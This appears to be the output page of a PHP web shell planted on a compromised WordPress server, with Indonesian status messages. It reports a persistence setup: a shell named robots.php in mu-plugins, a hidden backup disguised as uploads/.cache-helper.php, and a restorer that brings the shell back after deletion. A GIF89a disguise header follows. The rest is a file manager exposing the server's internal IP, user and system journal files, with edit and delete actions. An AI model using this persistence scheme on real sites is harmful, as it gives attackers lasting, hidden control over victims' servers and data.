🔥 Auto-Deploy Persistence

Shell: robots.php

Path: wp-content/mu-plugins/robots.php

Backup isi: ✅ SAMA dengan robots.php

✅ Backup OK: uploads/.cache-helper.php (isi robots.php)

⏭️ mu-plugins ada

✅ Restorer OK

Backup match: ✅

Restorer: ✅

Path: ✅

🎉 DONE! Shell IMMORTAL!

Test: hapus robots.php → buka website → balik sendiri

GIF89a; 19
8.3.6 | x86_64
Server172.31.29.49
Usersftp (uid:1001)
PHP8.3.6 (fpm-fcgi)
//var/log/journal/ec257346fd480f7514c40804435fe2c5
NameSizeActions
Fsystem.journal 56M View Edit Rename Del
Fsystem@000645d3eea72fea-0ef568cf2526e37f.journal~ 8M View Edit Rename Del
Fsystem@000645d477b5d594-6840d29fb1363bb8.journal~ 8M View Edit Rename Del
Fsystem@000647151991ba65-ab4afaece6efe838.journal~ 24M View Edit Rename Del
Fsystem@00064c52875d3856-f022575f6cfbd1ce.journal~ 24M View Edit Rename Del
Fsystem@0006505e83cbeab3-ce4b13ea6e7541db.journal~ 16M View Edit Rename Del
Fsystem@0006505eff8b450e-a3e6df3b6b547986.journal~ 8M View Edit Rename Del
Fsystem@0006505fbc50f7ae-aed4bed84133199b.journal~ 8M View Edit Rename Del
Fsystem@0dc2006200984d6a90cad76b5cb0a16d-0000000000006311-00064638a92ed8b1.journal 8M View Edit Rename Del
Fsystem@0dc2006200984d6a90cad76b5cb0a16d-000000000000d01e-000647151991e395.journal 8M View Edit Rename Del
Fsystem@4deae404d9ca45989bdb5391324cd60c-000000000000df57-000647210c47db4d.journal 8M View Edit Rename Del
Fsystem@4deae404d9ca45989bdb5391324cd60c-000000000000e745-0006472425174b36.journal 8M View Edit Rename Del
Fsystem@5c24dd71f7da464d8ffc179f54958ad4-000000000006360b-0006506f4129eeb5.journal 8M View Edit Rename Del
Fsystem@5c24dd71f7da464d8ffc179f54958ad4-0000000000063a2f-0006506f5019462a.journal 48M View Edit Rename Del
Fsystem@5c24dd71f7da464d8ffc179f54958ad4-0000000000075a6b-0006521acc6fb0ed.journal 40M View Edit Rename Del
Fsystem@6c3e61c009c84ddbb849ec8050548adf-000000000000e8dd-0006472475a0212c.journal 8M View Edit Rename Del
Fsystem@6c3e61c009c84ddbb849ec8050548adf-000000000000ed0a-000647247af96a75.journal 48M View Edit Rename Del
Fsystem@6c3e61c009c84ddbb849ec8050548adf-00000000000208a7-0006497a241de586.journal 48M View Edit Rename Del
Fsystem@6c3e61c009c84ddbb849ec8050548adf-0000000000031ccf-00064b7b28c91274.journal 16M View Edit Rename Del
Fsystem@a545f5e45e814840aa697146a6e361c3-000000000003c2f3-00064c52875d67b2.journal 48M View Edit Rename Del
Fsystem@a545f5e45e814840aa697146a6e361c3-000000000004d5bf-00064e33ea50d301.journal 48M View Edit Rename Del
Fsystem@a545f5e45e814840aa697146a6e361c3-0000000000062b12-0006505fbc51d482.journal 8M View Edit Rename Del
Fsystem@b3581eb477f7492695cbcfec003f265e-000000000008229c-00065342c0563e44.journal 56M View Edit Rename Del
Fsystem@b3581eb477f7492695cbcfec003f265e-00000000000930cd-00065431ba9e80c1.journal 56M View Edit Rename Del
Fsystem@d3988b25e951473b8544eceb1ff87362-0000000000001d8a-000645d477b65fa6.journal 24M View Edit Rename Del
Fuser-1000.journal 8M View Edit Rename Del
Fuser-1000@0dc2006200984d6a90cad76b5cb0a16d-00000000000069a7-00064638e3e64a8a.journal 8M View Edit Rename Del
Fuser-1000@4deae404d9ca45989bdb5391324cd60c-000000000000e744-0006472425164565.journal 8M View Edit Rename Del
Fuser-1000@5c24dd71f7da464d8ffc179f54958ad4-0000000000063a2e-0006506f50178f3f.journal 8M View Edit Rename Del
Fuser-1000@6c3e61c009c84ddbb849ec8050548adf-000000000000ed09-000647247af84881.journal 8M View Edit Rename Del
Fuser-1000@a545f5e45e814840aa697146a6e361c3-0000000000038cc4-00064c049e3b1c2b.journal 8M View Edit Rename Del
Fuser-1000@a545f5e45e814840aa697146a6e361c3-0000000000059454-00064f78cd38f96b.journal 8M View Edit Rename Del
Fuser-1000@a545f5e45e814840aa697146a6e361c3-0000000000063479-0006506f3e82373c.journal 8M View Edit Rename Del
Fuser-1000@b3581eb477f7492695cbcfec003f265e-00000000000826ca-00065342c496acd2.journal 8M View Edit Rename Del
Fuser-1000@b3581eb477f7492695cbcfec003f265e-000000000009dce4-0006555d25f81c5d.journal 8M View Edit Rename Del
Fuser-1000@d3988b25e951473b8544eceb1ff87362-000000000000077b-000645beb902ca52.journal 8M View Edit Rename Del
Fuser-1001@0dc2006200984d6a90cad76b5cb0a16d-0000000000007261-0006464b1cab0f06.journal 8M View Edit Rename Del
Fuser-1001@6c3e61c009c84ddbb849ec8050548adf-0000000000014a90-000647f26a9d9225.journal 8M View Edit Rename Del
Fuser-1001@d3988b25e951473b8544eceb1ff87362-0000000000000e9f-000645bf1dd5d594.journal 8M View Edit Rename Del
19